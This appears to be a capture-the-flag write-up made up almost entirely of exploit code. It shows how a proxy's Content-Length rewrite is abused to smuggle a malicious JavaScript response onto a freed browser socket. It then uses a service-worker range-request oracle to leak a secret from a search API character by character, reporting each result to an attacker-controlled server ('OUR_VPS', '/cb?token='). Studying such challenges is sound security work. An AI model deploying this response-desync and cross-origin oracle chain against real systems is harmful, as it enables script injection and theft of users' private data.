Server -> Browser:

HTTP/1.1 200 OK
Content-Length: 5       <- "body is exactly 5 bytes"

Hello                   <- browser reads 5 bytes, stops. response done.

// proxy/app.js
if (req.headers['sec-fetch-dest'] === 'script') {
    h['content-length'] = '0'     // "body is 0 bytes" -> tell browser it's empty
    delete h['transfer-encoding']
}

res.writeHead(proxyRes.statusCode, proxyRes.statusMessage, h)
proxyRes.pipe(res)   // <<<< but still pipes the full body here

s1  ----[stall 2s, empty]---->  just occupies slot 1
s2  ----[stall 2s, empty]---->  just occupies slot 2
s3  ----[stall 2s, empty]---->  just occupies slot 3
s4  ----[stall 2s, empty]---->  just occupies slot 4
s5  ----[stall 2s, empty]---->  just occupies slot 5

s6  ----[flush headers]------->  proxy sends CL:0 to browser
                                 browser: "response done, socket is FREE"
        [500ms later]
        [write full HTTP response as body bytes onto that socket]
                                 browser: doesn't care, already moved on
                                 bytes sit ORPHANED on the freed socket

s7  ----[waiting...]----------> no free slot yet...
                                 s6 socket just freed!
                                 assigned to s7
                                 browser reads orphaned bytes as s7's response
                                 Content-Type: application/javascript
                                 JS EXECUTES on proxy origin

s8  ----[waiting...]----------> backup in case s7 misses

GET /add?name=evil&url=http://OUR_VPS:9999/

<!-- Our /trigger page -->
<script>window.open('http://localhost:3000/view/evil/')</script>
<img src="/sleep">  <!-- keeps the trigger page alive for 30 seconds -->

<script async src="s1.js"></script>
<script async src="s2.js"></script>
<!-- ... -->
<script async src="s8.js"></script>

if (p === '/s6.js') {
    // The outer response: we tell proxy our body will be N bytes
    // content-type: not/script avoids secondary type checks
    res.writeHead(200, {
        'content-type':   'not/script',
        'content-length': Buffer.byteLength(SMUGGLED_RESPONSE),
        'expect':         '100-continue'
    })

    // Flush the headers NOW - don't wait for the body
    // -> proxy immediately re-frames these headers to the browser as CL:0
    // -> browser sees CL:0, considers s6.js "done", socket goes back to pool
    res.flushHeaders()

    // 500ms later: write our REAL payload as the "body"
    // These bytes arrive AFTER the browser has marked the socket as free
    setTimeout(() => {
        res.socket.write(SMUGGLED_RESPONSE)  // raw write, bypasses Node's framing
        res.end()
    }, 500)
}

HTTP/1.1 200 OK
Content-Type: application/javascript
Content-Length: <size of our JS>
Connection: keep-alive

(function() {
    // our malicious JS here - runs on proxy origin!
})();

# api/app.py
q = request.args.get("q", "")
results = [m for m in _INBOX if m.startswith(q)]   # prefix match
data = json.dumps({"results": results}).encode()

return send_file(io.BytesIO(data), mimetype="application/json", conditional=True)

var a = document.createElement('audio')
a.src = 'http://localhost:9090/messages/search'
      + '?q=' + encodeURIComponent(guess)
      + '&key=' + apiKey
      + '&size=30'        // tells our SW how many fake bytes to use
      + '&_=' + Math.random()
document.body.appendChild(a)

// sw.js
var _r   // saved opaque response

self.addEventListener('fetch', function(e) {
    var u  = new URL(e.request.url)
    var sz = new URLSearchParams(u.search).get('size')

    if (sz !== null) {
        var n = Number(sz)  // n = 30

        // First range request: we FAKE a 206 with exactly 30 bytes
        // This tricks Chrome into asking for the rest
        if (e.request.headers.get('range') === 'bytes=0-') {
            e.respondWith(new Response('A'.repeat(n), {
                status: 206,
                headers: {
                    'Content-Type':  'audio/mpeg',
                    'Content-Range': 'bytes 0-' + (n-1) + '/999999',
                    'Accept-Ranges': 'bytes'
                }
            }))
            return
        }

        // Second range request: forward to the REAL API, save the response
        if (e.request.headers.get('range') === 'bytes=' + n + '-') {
            e.respondWith(
                fetch(e.request)
                    .then(function(r) {
                        _r = r.clone()   // save the opaque response!
                        return r
                    })
                    .catch(function() {
                        return new Response('', { status: 416 })
                    })
            )
            return
        }
    }

    // Replay the saved response when asked for /mock.css
    if (u.pathname.includes('mock.css') && _r) {
        var t = _r; _r = undefined
        e.respondWith(t.clone())
    }
})

a.onerror = function() {
    // Try to "fetch" /mock.css -> SW will serve the saved opaque response
    fetch('/mock.css', { mode: 'no-cors' })
        .then(function()  { resolve(false) })   // 416 (miss) -> resolves -> false
        .catch(function() { resolve(true)  })   // 206 (hit)  -> rejects  -> true
}

var CHARSET = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!@#$%&-'
var secret  = ''    // start empty (or from a known prefix if resuming)

for (var i = 0; i < 80; i++) {
    var found = false
    for (var j = 0; j < CHARSET.length; j++) {
        if (await oracle(secret + CHARSET[j])) {
            secret += CHARSET[j]
            found = true
            break
        }
    }
    // Report progress to our server
    new Image().src = '/cb?token=' + encodeURIComponent(secret)
    if (!found) break   // flag complete
}